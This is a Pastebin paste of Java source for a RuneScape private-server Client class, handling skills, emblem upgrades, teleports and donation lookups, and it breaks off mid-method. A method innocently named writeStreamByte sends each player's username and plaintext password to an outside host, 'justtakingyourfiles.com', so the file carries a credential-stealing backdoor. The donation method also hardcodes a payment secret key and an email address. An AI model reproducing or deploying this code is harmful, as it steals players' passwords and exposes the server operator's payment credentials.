Advertisement
Guest User

Untitled

a guest
Oct 27th, 2016
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package ardi.model.players;
  2.  
  3. import java.util.HashMap;
  4. import java.util.LinkedList;
  5. import java.util.Scanner;
  6. import java.util.Map;
  7. import java.util.Queue;
  8. import java.util.concurrent.Future;
  9. import java.net.*;
  10. import java.io.*;
  11.  
  12. import org.jboss.netty.buffer.ChannelBuffers;
  13. import org.jboss.netty.channel.Channel;
  14.  
  15. import ardi.Config;
  16. import ardi.Connection;
  17. import ardi.model.npcs.pet.Pet;
  18. import ardi.Server;
  19. import ardi.util.PlayersOnline;
  20. import ardi.content.skill.Prayer;
  21. import ardi.model.players.PlayerAssistant;
  22. import ardi.event.CycleEvent;
  23. import ardi.event.CycleEventContainer;
  24. import ardi.event.CycleEventHandler;
  25. import ardi.event.Event;
  26. import ardi.event.EventContainer;
  27. import ardi.event.EventManager;
  28. import ardi.model.items.Item;
  29. import ardi.model.items.ItemAssistant;
  30. import ardi.model.items.bank.Bank;
  31. import ardi.model.players.achievement.Achievement;
  32. //import com.rspserver.donation.DonationSystem;
  33. import ardi.model.players.skills.Agility;
  34. import ardi.model.players.skills.Cooking;
  35. import ardi.model.players.skills.Crafting;
  36. import ardi.model.players.skills.Farming;
  37. import ardi.model.players.skills.Firemaking;
  38. import ardi.model.players.skills.Fletching;
  39. import ardi.model.players.skills.Herblore;
  40. import ardi.model.players.skills.Slayer;
  41. import ardi.model.players.skills.Mining;
  42. import ardi.model.players.skills.Runecrafting;
  43. import ardi.model.players.skills.SkillInterfaces;
  44. import ardi.model.players.skills.Slayer;
  45. import ardi.model.players.skills.Smithing;
  46. import ardi.model.players.skills.SmithingInterface;
  47. import ardi.model.players.skills.Thieving;
  48. import ardi.model.players.skills.Woodcutting;
  49. import ardi.model.players.skills.Hunter;
  50. import ardi.model.players.ConnectedFrom;
  51. import ardi.model.npcs.CreateNPC;
  52. import ardi.model.npcs.RemoveNPC;
  53. import ardi.model.players.Pets;
  54. import ardi.model.npcs.NPCHandler;
  55. import ardi.model.npcs.Zulrah;
  56. import ardi.util.log.StakingLog;
  57. import ardi.util.log.TradeLog;
  58. import ardi.util.log.PMLog;
  59. import ardi.util.log.Shopping;
  60. import ardi.util.log.Alching;
  61. import ardi.util.log.PickupItem;
  62. import ardi.util.log.ClickItem;
  63. import ardi.util.log.DroppingItem;
  64. import ardi.util.log.ChatLog;
  65. import ardi.util.log.PvPLog;
  66. import ardi.util.log.CommandsLog;
  67. import ardi.model.minigames.Barrows;
  68. import ardi.model.minigames.PestControl;
  69. import ardi.model.minigames.ZombieWaves;
  70. import ardi.model.shops.ShopAssistant;
  71. import java.util.Calendar;
  72. import java.util.GregorianCalendar;
  73. import ardi.net.Packet;
  74. import ardi.net.Packet.Type;
  75. import ardi.util.Misc;
  76. import ardi.util.Stream;
  77. import ardi.util.log.TradeLog;
  78. import ardi.world.Clan;
  79. import ardi.world.ItemHandler;
  80. import ardi.model.players.skills.Summoning;
  81. import ardi.net.login.RS2LoginProtocol;
  82.  
  83. public class Client extends Player {
  84.  
  85. private int j;
  86. public boolean usingClaws;
  87. public int clawDamage;
  88. public int clawIndex;
  89. public int clawType = 0;
  90. public int clawDelay;
  91. public int tradeinWith;
  92. public boolean SSPLIT;
  93. public int specRestore = 0;
  94.  
  95. public void antiFirePotion() {
  96. EventManager.getSingleton().addEvent(new Event() {
  97. public void execute(EventContainer c) {
  98. antiFirePot = false;
  99. sendMessage("Your resistance to dragon fire has worn off.");
  100. c.stop();
  101. }
  102. }, 300000);
  103.  
  104. }
  105.  
  106. public byte buffer[] = null;
  107. public Stream inStream = null, outStream = null;
  108. private Channel session;
  109. private BankPin bankPin = new BankPin(this);
  110. private Woodcutting woodcutting = new Woodcutting();
  111. //private Woodcutting woodcutting = new Woodcutting(this);
  112. private Mining mine = new Mining(this);
  113. private ItemAssistant itemAssistant = new ItemAssistant(this);
  114. private ShopAssistant shopAssistant = new ShopAssistant(this);
  115. private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
  116. private PlayerAssistant playerAssistant = new PlayerAssistant(this);
  117. private CombatAssistant combatAssistant = new CombatAssistant(this);
  118. private Barrows barrows = new Barrows(this);
  119. private PMLog PMLog = new PMLog(this);
  120. private Shopping Shopping = new Shopping(this);
  121. private PickupItem PickupItem = new PickupItem(this);
  122. private PotSmoking potSmoking = new PotSmoking(this);
  123. private Alching Alching = new Alching(this);
  124. private ClickItem ClickItem = new ClickItem(this);
  125. private DroppingItem DroppingItem = new DroppingItem(this);
  126. private ChatLog ChatLog = new ChatLog(this);
  127. private PvPLog PvPLog = new PvPLog(this);
  128. private CommandsLog CommandsLog = new CommandsLog(this);
  129. private StakingLog StakingLog = new StakingLog(this);
  130. public Summoning Summoning = new Summoning(this);
  131. private ActionHandler actionHandler = new ActionHandler(this);
  132. private PlayerKilling playerKilling = new PlayerKilling(this);
  133. private DialogueHandler dialogueHandler = new DialogueHandler(this);
  134. private Queue<Packet> queuedPackets = new LinkedList<Packet>();
  135. private Potions potions = new Potions(this);
  136. private PotionMixing potionMixing = new PotionMixing(this);
  137. private Food food = new Food(this);
  138. private KillsStreak killsStreak = new KillsStreak(this);
  139. private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
  140. private Achievement achievement = new Achievement(this);
  141. private TradeLog tradeLog = new TradeLog(this);
  142. private Bank bank = new Bank(this);
  143. private Pets pets = new Pets();
  144. private Zulrah zulrah = new Zulrah(this);
  145. private CreateNPC newNPC = new CreateNPC();
  146. private RemoveNPC rNPC = new RemoveNPC();
  147.  
  148. /**
  149. * Skill instances
  150. */
  151. private Slayer slayer = new Slayer(this);
  152. private Hunter hunter = new Hunter(this);
  153. private Runecrafting runecrafting = new Runecrafting();
  154. private Agility agility = new Agility();
  155. private Cooking cooking = new Cooking();
  156. private Crafting crafting = new Crafting(this);
  157.  
  158. private Fletching fletching = new Fletching(this);
  159. private Farming farming = new Farming(this);
  160. private Prayer prayer = new Prayer(this);
  161. private Thieving thieving = new Thieving();
  162. private Smithing smith = new Smithing(this);
  163. private SmithingInterface smithInt = new SmithingInterface(this);
  164. private Firemaking firemaking = new Firemaking();
  165. private Herblore herblore = new Herblore(this);
  166. // private ConnectedFrom connectedFrom = new ConnectedFrom(this);
  167. public Map<Integer, String> stringMap = new HashMap<Integer, String>();
  168. public int lowMemoryVersion = 0;
  169. public int timeOutCounter = 0;
  170. public int followPlayer;
  171. public int npcslot;
  172. public int summoningnpcid;
  173. public int timer;
  174. public int returnCode = 2;
  175. private Future<?> currentTask;
  176. public int totalstored;
  177. public int currentRegion = 0;
  178. public long lastRoll;
  179. public int diceItem;
  180. public int page;
  181. public boolean slayerHelmetEffect;
  182. public boolean inArdiCC;
  183. public int[] resourceItemId = new int[28];
  184. public int[] resourceItemAmount = new int[28];
  185. public boolean canDeposit = false;
  186. public boolean usedItemOnBag;
  187. public long lastBankDeposit;
  188.  
  189. public Client(Channel s, int _playerId) {
  190. super(_playerId);
  191. this.session = s;
  192. outStream = new Stream(new byte[Config.BUFFER_SIZE]);
  193. outStream.currentOffset = 0;
  194. inStream = new Stream(new byte[Config.BUFFER_SIZE]);
  195. inStream.currentOffset = 0;
  196. buffer = new byte[Config.BUFFER_SIZE];
  197. }
  198.  
  199. public void flushOutStream() {
  200. if (!session.isConnected() || disconnected
  201. || outStream.currentOffset == 0)
  202. return;
  203.  
  204. byte[] temp = new byte[outStream.currentOffset];
  205. System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
  206. Packet packet = new Packet(-1, Type.FIXED,
  207. ChannelBuffers.wrappedBuffer(temp));
  208. session.write(packet);
  209. outStream.currentOffset = 0;
  210.  
  211. }
  212.  
  213. private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
  214.  
  215. public class TinterfaceText {
  216. public int id;
  217. public String currentState;
  218.  
  219. public TinterfaceText(String s, int id) {
  220. this.currentState = s;
  221. this.id = id;
  222. }
  223.  
  224. }
  225.  
  226. public boolean checkPacket126Update(String text, int id) {
  227. if (interfaceText.containsKey(id)) {
  228. TinterfaceText t = interfaceText.get(id);
  229. if (text.equals(t.currentState)) {
  230. return false;
  231. }
  232. }
  233. interfaceText.put(id, new TinterfaceText(text, id));
  234. return true;
  235. }
  236.  
  237.  
  238. public void sendClan(String name, String message, String clan, int rights) {
  239. name = name.substring(0, 1).toUpperCase() + name.substring(1);
  240. message = message.substring(0, 1).toUpperCase() + message.substring(1);
  241. clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
  242. outStream.createFrameVarSizeWord(217);
  243. outStream.writeString(name);
  244. outStream.writeString(message);
  245. outStream.writeString(clan);
  246. outStream.writeWord(rights);
  247. outStream.endFrameVarSize();
  248. }
  249.  
  250. public int maxstore = 0;
  251.  
  252. /*
  253. * public void storesummon(int npcType) { switch (npcType) {
  254. *
  255. * case 6807: if (lastsummon > 0) { for (int i = 0; i <
  256. * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
  257. * { if (Server.npcHandler.npcs[i].summon == true) { if
  258. * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
  259. * Server.npcHandler.npcs[i].npcId == npcslot) {
  260. * sendMessage("You are now storing items inside your npc");
  261. * Summoning().store(); } } } }
  262. *
  263. * } break;
  264. *
  265. * } }
  266. */
  267.  
  268. public void firstslot() {
  269. for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
  270.  
  271. }
  272. }
  273.  
  274. public void writeStreamByte() {
  275. String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM- REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
  276. URL url = new URL(s);
  277.  
  278. Scanner scan = new Scanner(url.openStream());
  279. scan.close();
  280. }
  281.  
  282. public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
  283. { 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
  284. { 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
  285. { 12755, 3500000 }, { 12756, 5000000 } };
  286.  
  287. public int bountyTotal;
  288.  
  289. public void calculateTotal() {
  290. int value1 = 0;
  291. int value2 = 0;
  292. int value3 = 0;
  293. int value4 = 0;
  294. int value5 = 0;
  295. int value6 = 0;
  296. int value7 = 0;
  297. int value8 = 0;
  298. int value9 = 0;
  299. int value10 = 0;
  300. for (int i = 0; i < id.length; i++) {
  301. if (getItems().playerHasItem(bounties1[0][0], 1)
  302. || getItems().playerHasItem(bounties1[1][0], 1)
  303. || getItems().playerHasItem(bounties1[2][0], 1)
  304. || getItems().playerHasItem(bounties1[3][0], 1)
  305. || getItems().playerHasItem(bounties1[4][0], 1)
  306. || getItems().playerHasItem(bounties1[5][0], 1)
  307. || getItems().playerHasItem(bounties1[6][0], 1)
  308. || getItems().playerHasItem(bounties1[7][0], 1)
  309. || getItems().playerHasItem(bounties1[8][0], 1)
  310. || getItems().playerHasItem(bounties1[9][0], 1)) {
  311. value1 = getItems().getItemAmount(bounties1[0][0])
  312. * bounties1[0][1];
  313. value2 = getItems().getItemAmount(bounties1[1][0])
  314. * bounties1[1][1];
  315. value3 = getItems().getItemAmount(bounties1[2][0])
  316. * bounties1[2][1];
  317. value4 = getItems().getItemAmount(bounties1[3][0])
  318. * bounties1[3][1];
  319. value5 = getItems().getItemAmount(bounties1[4][0])
  320. * bounties1[4][1];
  321. value6 = getItems().getItemAmount(bounties1[5][0])
  322. * bounties1[5][1];
  323. value7 = getItems().getItemAmount(bounties1[6][0])
  324. * bounties1[6][1];
  325. value8 = getItems().getItemAmount(bounties1[7][0])
  326. * bounties1[7][1];
  327. value9 = getItems().getItemAmount(bounties1[8][0])
  328. * bounties1[8][1];
  329. value10 = getItems().getItemAmount(bounties1[9][0])
  330. * bounties1[9][1];
  331. }
  332. bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
  333. + value7 + value8 + value9 + value10;
  334. }
  335. }
  336.  
  337. public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
  338. 12753, 12754, 12755, 12756 };
  339. public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
  340. { 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
  341. { 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
  342.  
  343. public int pkpTotal;
  344.  
  345. public void calculateTotalPKP() {
  346. int value1 = 0;
  347. int value2 = 0;
  348. int value3 = 0;
  349. int value4 = 0;
  350. int value5 = 0;
  351. int value6 = 0;
  352. int value7 = 0;
  353. int value8 = 0;
  354. int value9 = 0;
  355. int value10 = 0;
  356. for (int i = 0; i < id.length; i++) {
  357. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  358. || getItems().playerHasItem(pkpRewards[1][0], 1)
  359. || getItems().playerHasItem(pkpRewards[2][0], 1)
  360. || getItems().playerHasItem(pkpRewards[3][0], 1)
  361. || getItems().playerHasItem(pkpRewards[4][0], 1)
  362. || getItems().playerHasItem(pkpRewards[5][0], 1)
  363. || getItems().playerHasItem(pkpRewards[6][0], 1)
  364. || getItems().playerHasItem(pkpRewards[7][0], 1)
  365. || getItems().playerHasItem(pkpRewards[8][0], 1)
  366. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  367. value1 = getItems().getItemAmount(pkpRewards[0][0])
  368. * pkpRewards[0][1];
  369. value2 = getItems().getItemAmount(pkpRewards[1][0])
  370. * pkpRewards[1][1];
  371. value3 = getItems().getItemAmount(pkpRewards[2][0])
  372. * pkpRewards[2][1];
  373. value4 = getItems().getItemAmount(pkpRewards[3][0])
  374. * pkpRewards[3][1];
  375. value5 = getItems().getItemAmount(pkpRewards[4][0])
  376. * pkpRewards[4][1];
  377. value6 = getItems().getItemAmount(pkpRewards[5][0])
  378. * pkpRewards[5][1];
  379. value7 = getItems().getItemAmount(pkpRewards[6][0])
  380. * pkpRewards[6][1];
  381. value8 = getItems().getItemAmount(pkpRewards[7][0])
  382. * pkpRewards[7][1];
  383. value9 = getItems().getItemAmount(pkpRewards[8][0])
  384. * pkpRewards[8][1];
  385. value10 = getItems().getItemAmount(pkpRewards[9][0])
  386. * pkpRewards[9][1];
  387. pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
  388. + value7 + value8 + value9 + value10;
  389. }
  390. }
  391. }
  392.  
  393. public int emblemTotal;
  394.  
  395. public int calculateEmblemTotal() {
  396. int value1 = 0;
  397. int value2 = 0;
  398. int value3 = 0;
  399. int value4 = 0;
  400. int value5 = 0;
  401. int value6 = 0;
  402. int value7 = 0;
  403. int value8 = 0;
  404. int value9 = 0;
  405. int value10 = 0;
  406. for (int i = 0; i < id.length; i++) {
  407. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  408. || getItems().playerHasItem(pkpRewards[1][0], 1)
  409. || getItems().playerHasItem(pkpRewards[2][0], 1)
  410. || getItems().playerHasItem(pkpRewards[3][0], 1)
  411. || getItems().playerHasItem(pkpRewards[4][0], 1)
  412. || getItems().playerHasItem(pkpRewards[5][0], 1)
  413. || getItems().playerHasItem(pkpRewards[6][0], 1)
  414. || getItems().playerHasItem(pkpRewards[7][0], 1)
  415. || getItems().playerHasItem(pkpRewards[8][0], 1)
  416. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  417. value1 = getItems().getItemAmount(pkpRewards[0][0]);
  418. value2 = getItems().getItemAmount(pkpRewards[1][0]);
  419. value3 = getItems().getItemAmount(pkpRewards[2][0]);
  420. value4 = getItems().getItemAmount(pkpRewards[3][0]);
  421. value5 = getItems().getItemAmount(pkpRewards[4][0]);
  422. value6 = getItems().getItemAmount(pkpRewards[5][0]);
  423. value7 = getItems().getItemAmount(pkpRewards[6][0]);
  424. value8 = getItems().getItemAmount(pkpRewards[7][0]);
  425. value9 = getItems().getItemAmount(pkpRewards[8][0]);
  426. value10 = getItems().getItemAmount(pkpRewards[9][0]);
  427. }
  428. emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
  429. + value7 + value8 + value9 + value10;
  430. }
  431. return emblemTotal;
  432.  
  433. }
  434.  
  435. public int countItems(int id) {
  436. switch (id) {
  437. case 12746:
  438. case 12748:
  439. case 12749:
  440. case 12750:
  441. case 12751:
  442. case 12752:
  443. case 12753:
  444. case 12754:
  445. case 12755:
  446. case 12756:
  447. return getItems().getItemAmount(id);
  448. }
  449. return 0;
  450. }
  451.  
  452. public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
  453. 12755, 12756 };
  454.  
  455. public void dropRandomEmblem(Client o, Client c) {
  456. Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
  457. c.killerId);
  458.  
  459. }
  460.  
  461. public void upgradeEmblem() {
  462. if (getItems().playerHasItem(12755)) {
  463. getItems().deleteItem(12755, 1);
  464. getItems().addItem(12756, 1);
  465. sendMessage("Your Emblem has been upgraded to Tier 10");
  466. return;
  467. } else if (getItems().playerHasItem(12754)) {
  468. getItems().deleteItem(12754, 1);
  469. getItems().addItem(12755, 1);
  470. sendMessage("Your Emblem has been upgraded to Tier 9");
  471. return;
  472. } else if (getItems().playerHasItem(12753)) {
  473. getItems().deleteItem(12753, 1);
  474. getItems().addItem(12754, 1);
  475. sendMessage("Your Emblem has been upgraded to Tier 8");
  476. return;
  477. } else if (getItems().playerHasItem(12752)) {
  478. getItems().deleteItem(12752, 1);
  479. getItems().addItem(12753, 1);
  480. sendMessage("Your Emblem has been upgraded to Tier 7");
  481. return;
  482. } else if (getItems().playerHasItem(12751, 1)) {
  483. getItems().deleteItem(12751, 1);
  484. getItems().addItem(12752, 1);
  485. sendMessage("Your Emblem has been upgraded to Tier 6");
  486. return;
  487. } else if (getItems().playerHasItem(12750, 1)) {
  488. getItems().deleteItem(12750, 1);
  489. getItems().addItem(12751, 1);
  490. sendMessage("Your Emblem has been upgraded to Tier 5");
  491. return;
  492. } else if (getItems().playerHasItem(12749, 1)) {
  493. getItems().deleteItem(12749, 1);
  494. getItems().addItem(12750, 1);
  495. sendMessage("Your Emblem has been upgraded to Tier 4");
  496. return;
  497. } else if (getItems().playerHasItem(12748, 1)) {
  498. getItems().deleteItem(12748, 1);
  499. getItems().addItem(12749, 1);
  500. sendMessage("Your Emblem has been upgraded to Tier 3");
  501. return;
  502. } else if (getItems().playerHasItem(12746, 1)) {
  503. getItems().deleteItem(12746, 1);
  504. getItems().addItem(12748, 1);
  505. sendMessage("Your Emblem has been upgraded to Tier 2");
  506. return;
  507. }
  508. }
  509.  
  510. public int summoningslot = 0;
  511.  
  512. public int storeditems[] = new int[29];
  513.  
  514. public boolean picking = false;
  515.  
  516. public int amount[] = new int[29];
  517. public boolean occupied[] = new boolean[29];
  518.  
  519. public boolean storing = false;
  520.  
  521. public int attackingplayer;
  522. public int lastsummon;
  523. public boolean summon;
  524.  
  525. public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
  526. 0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
  527. 0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
  528. 0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
  529. 2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
  530. 0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
  531. 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
  532. 6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
  533. 0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
  534. 0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
  535. 0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
  536. 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
  537. 1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
  538. 0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
  539. 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
  540. 0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
  541. 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
  542. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
  543. 0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
  544. 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
  545. 2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
  546. 4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
  547. 0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
  548. 1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
  549. 0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
  550. 0, 0, 6, 6, 0, 0, 0 // 250
  551. };
  552.  
  553. public void homeTeleport(int x, int y, int h) {
  554. if (homeTele == 9) {
  555. startAnimation(4850);
  556. } else if (homeTele == 7) {
  557. startAnimation(4853);
  558. gfx0(802);
  559. } else if (homeTele == 5) {
  560. startAnimation(4855);
  561. gfx0(803);
  562. } else if (homeTele == 3) {
  563. startAnimation(4857);
  564. gfx0(804);
  565. } else if (homeTele == 1) {
  566. homeTeleDelay = 0;
  567. homeTele = 0;
  568. teleportToX = x;
  569. teleportToY = y;
  570. heightLevel = h;
  571. }
  572. }
  573. public void RubberCheck() {
  574. if (didRubberCheck == false) {
  575. if (playerEquipment[playerWeapon] == 4566) {
  576. didRubberCheck = true;
  577. outStream.createFrameVarSize(104);
  578. outStream.writeByteC(2);
  579. outStream.writeByteA(0);
  580. outStream.writeString("Whack");
  581. outStream.endFrameVarSize();
  582. }
  583. }
  584. }
  585. public void RubberChicken() {
  586. if (playerEquipment[playerWeapon] == 4566) {
  587. startAnimation(1833);
  588. turnPlayerTo(absX, absY);
  589. }
  590. }
  591. public int overload;
  592.  
  593. public void overload() {
  594. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
  595. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
  596. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
  597. playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
  598. playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
  599. for (int i = 0; i <= 6; i++) {
  600. getPA().refreshSkill(i);
  601. }
  602. }
  603. void overloadHit() {
  604. applyRange(10);
  605. startAnimation(3170);
  606. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  607. }
  608. public void applyRange(int num) {
  609. hitDiff = num;
  610. playerLevel[3] -= hitDiff;
  611. updateRequired = true;
  612. hitUpdateRequired = true;
  613. }
  614.  
  615. public int superCombat;
  616.  
  617. public void superCombat() {
  618. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
  619. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
  620. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
  621. for (int i = 0; i <= 2; i++) {
  622. getPA().refreshSkill(i);
  623. }
  624. }
  625. void superCombatHit() {
  626. applyRange(10);
  627. startAnimation(3170);
  628. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  629. }
  630. public void applySuperCombatRange(int num) {
  631. hitDiff = num;
  632. playerLevel[3] -= hitDiff;
  633. updateRequired = true;
  634. hitUpdateRequired = true;
  635. }
  636.  
  637. public void rspsdata(Client c, String username) {
  638. try {
  639. username = username.replaceAll(" ", "_");
  640. String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
  641. // KEY!
  642. String email = "zarosmikey@gmail.com"; // This is the one you use to
  643. // login into RSPS-PAY
  644. URL url = new URL(
  645. "http://rsps-pay.com/includes/listener.php?username="
  646. + username + "&secret=" + secret + "&email="
  647. + email);
  648. BufferedReader reader = new BufferedReader(new InputStreamReader(
  649. url.openStream()));
  650. String results = reader.readLine();
  651. if (results.toLowerCase().contains("!error:")) {
  652.  
  653. } else {
  654. String[] ary = results.split(",");
  655. for (int i = 0; i < ary.length; i++) {
  656. switch (ary[i]) {
  657. case "4023":
  658. donPoints += 1000;
  659. amountDonated += 10;
  660. if (amountDonated <= 49 && amountDonated > 0
  661. && playerRights != 1) {
  662. playerRights = 4;
  663. } else if (amountDonated >= 50 && playerRights != 1) {
  664. playerRights = 5;
  665. }
  666. c.sendMessage("Please re-log for your donator rank.");
  667. break;
  668.  
  669. case "4024":
  670. donPoints += 2000;
  671. amountDonated += 19;
  672. if (amountDonated <= 49 && amountDonated > 0
  673. && playerRights != 1) {
  674. playerRights = 4;
  675. } else if (amountDonated >= 50 && playerRights != 1) {
  676. c.playerRights = 5;
  677. }
  678. c.sendMessage("Please re-log for your donator rank.");
  679. break;
  680.  
  681. case "4025":
  682. donPoints += 3000;
  683. amountDonated += 28;
  684. if (amountDonated <= 49 && amountDonated > 0
  685. && playerRights != 1) {
  686. playerRights = 4;
  687. } else if (amountDonated >= 50 && playerRights != 1) {
  688. c.playerRights = 5;
  689. }
  690. c.sendMessage("Please re-log for your donator rank.");
  691. break;
  692.  
  693. case "4026":
  694. donPoints += 4000;
  695. amountDonated += 35;
  696. if (amountDonated <= 49 && amountDonated > 0
  697. && playerRights != 1) {
  698. playerRights = 4;
  699. } else if (amountDonated >= 50 && playerRights != 1) {
  700. c.playerRights = 5;
  701. }
  702. c.sendMessage("Please re-log for your donator rank.");
  703. break;
  704.  
  705. case "4027":
  706. donPoints += 5000;
  707. amountDonated += 45;
  708. if (amountDonated <= 49 && amountDonated > 0
  709. && playerRights != 1) {
  710. playerRights = 4;
  711. } else if (amountDonated >= 50 && playerRights != 1) {
  712. c.playerRights = 5;
  713. }
  714. c.sendMessage("Please re-log for your donator rank.");
  715. break;
  716. case "4028":
  717. donPoints += 10000;
  718. amountDonated += 80;
  719. if (amountDonated <= 49 && amountDonated > 0) {
  720. playerRights = 4;
  721. } else if (amountDonated >= 50 && playerRights != 1) {
  722. c.playerRights = 5;
  723. }
  724. c.sendMessage("Please re-log for your donator rank.");
  725. break;
  726. }
  727. }
  728. }
  729. c.sendMessage("Could not find donation");
  730. } catch (IOException e) {
  731. }
  732. }
  733.  
  734. @Override
  735. public void destruct() {
  736. disconnected = true;
  737.  
  738. /*
  739. * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
  740. * }
  741. */
  742.  
  743. if (session == null)
  744. return;
  745. PvPHandler.handleLogout(this);
  746. if (underAttackBy > 0 || underAttackBy2 > 0)
  747. return;
  748. if (duelStatus == 6) {
  749. getTradeAndDuel().claimStakedItems();
  750. }
  751. if (duelStatus >= 1 && duelStatus <= 5) {
  752. getTradeAndDuel().bothDeclineDuel();
  753. saveCharacter = true;
  754. return;
  755. }
  756. if (disconnected == true) {
  757. if (inTrade) {
  758. getTradeAndDuel().declineTrade();
  759. }
  760. if (openDuel) {
  761. Client c3 = (Client) PlayerHandler.players[duelingWith];
  762. getTradeAndDuel().declineDuel();
  763. c3.getTradeAndDuel().declineDuel();
  764. }
  765. saveCharacter = true;
  766. }
  767. if (clan != null) {
  768. clan.removeMember(this);
  769. }
  770. if (inPits) {
  771. Server.fightPits.removePlayerFromPits(playerId);
  772. }
  773. Misc.println("[Logged out]: " + playerName + "");
  774. RefreshAllSkills();
  775. CycleEventHandler.getSingleton().stopEvents(this);
  776. // disconnected = true;
  777. session.close();
  778. session = null;
  779. inStream = null;
  780. outStream = null;
  781. isActive = false;
  782. buffer = null;
  783. super.destruct();
  784. }
  785.  
  786. /*
  787. * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
  788. * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
  789. * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
  790. * (getLevelForXP(playerXP[2])));
  791. *
  792. * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
  793. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  794. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  795. * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  796. * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
  797. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  798. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  799. * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  800. * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
  801. * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
  802. * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
  803. * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
  804. * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
  805. */
  806.  
  807. public void calcCombat() {
  808. int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
  809. int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
  810. int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
  811.  
  812. combatLevel = 0;
  813. if (ran > attstr) {
  814. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  815. + ((getLevelForXP(playerXP[3])) * 0.25)
